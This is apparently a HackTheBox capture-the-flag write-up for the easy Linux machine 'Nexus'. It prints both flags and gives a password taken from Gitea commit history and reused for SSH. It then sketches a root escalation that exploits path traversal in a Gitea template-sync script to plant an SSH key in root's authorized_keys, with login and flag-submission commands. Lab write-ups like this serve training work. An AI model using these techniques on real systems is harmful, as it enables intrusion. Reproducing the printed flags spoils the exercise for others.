Nexus (HTB) — Writeup
Solvers
-
Platform: HackTheBox Machine
-
Machine ID: 948
-
Name: Nexus
-
OS: Linux
-
Difficulty: Easy
-
Author: 0xIDA
-
Status: Free / Retired
-
IP (session): 10.129.48.201
-
**Writeup author: 0xIDA
-
Date: 2026-07-13
Flags
| Type | Flag | Submit status |
|---|---|---|
| User | 29f19606881550c14c5e3c6e4e273fbc | Owned (adventure completed=true; UI/API) |
| Root | cdbfa3fb8c1ed9b00e720aa11057789d | Submitted via POST /api/v5/machine/own |
Official writeup
- PDF: `
- Text: `
- API:
GET /api/v4/machine/writeup/948
HTB API notes (machine own)
- Flag submit is
POST https://labs.hackthebox.com/api/v5/machine/ownwith{"id": <machine_id>, "flag": "<32hex>"}. /api/v4/machine/owndoes not exist (404).- Progress check:
GET /api/v4/machines/{id}/adventure→ user/root completed flags. - Hermes HTB MCP updated to use v5 for own (rebuild
/root/htb-mcp-server/htb-mcp-server).
Chain
User
- Hosts:
nexus.htb,git.nexus.htb,billing.nexus.htb - Careers →
j.matthew@nexus.htb - Gitea
krayin-docker-setupcommit history → passwordy27xb3ha!!74GbR - Intended: Krayin CRM 2.2.0 CVE-2026-38526 file upload → www-data → same password in app
.env - Fast path:
ssh jones@IPwithy27xb3ha!!74GbR→user.txt
Root — Gitea template-sync path traversal
- Timer:
gitea-template-sync.timer(~1 min) - Script:
/etc/gitea/template-sync.pyusesos.path.join(stage_path, filepath)without sanitizing..fromgit ls-tree - Create template repo as jones, push crafted trees so filepath is
../../../../../root/.ssh/authorized_keys - Wait for sync log:
synced: ../../../../../root/.ssh/authorized_keys ssh -i rootkey root@IP→root.txt
Commands (this session)
sshpass -p 'y27xb3ha!!74GbR' ssh jones@10.129.48.201 'cat user.txt'
# 29f19606881550c14c5e3c6e4e273fbc
# Gitea API create template repo + raw object push (build.py) + wait timer
ssh -i root@10.129.48.201 'cat /root/root.txt'
# cdbfa3fb8c1ed9b00e720aa11057789d
curl -X POST https://labs.hackthebox.com/api/v5/machine/own \
-H "Authorization: Bearer $HTB_TOKEN" -H 'Content-Type: application/json' \
-H 'Origin: https://app.hackthebox.com' \
-d '{"id":948,"flag":"cdbfa3fb8c1ed9b00e720aa11057789d"}'
Paths
- `
- `
- Root key: `